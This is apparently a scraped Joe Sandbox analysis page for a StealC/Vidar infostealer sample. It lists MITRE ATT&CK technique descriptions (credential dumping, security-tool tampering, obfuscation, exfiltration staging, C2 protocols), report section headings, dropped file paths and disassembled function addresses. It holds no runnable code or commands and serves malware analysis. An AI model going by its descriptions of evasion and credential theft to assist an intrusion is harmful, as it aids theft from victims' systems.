Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKJDAEGCAFIIDGDGCGIJ

C:\ProgramData\DBKEHDGD

C:\ProgramData\FCBAEHCAEGDHJKFHJKFIJKJEGH

C:\ProgramData\FHCBGIIJKEBFCBGDBAEBGCFIEH

C:\ProgramData\IEHIIIJDAAAAAAKECBFB

C:\ProgramData\IIEHJEHDBGHIDGDGHCBGDGCBFI

C:\ProgramData\IJEGHJECFCFCBFIDBGCG

C:\ProgramData\JDAEHJJE

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 005C9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 005B45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 005BBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 005C4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 005B4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 005C9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 005B7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 005C0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 005B5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Function 005BA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre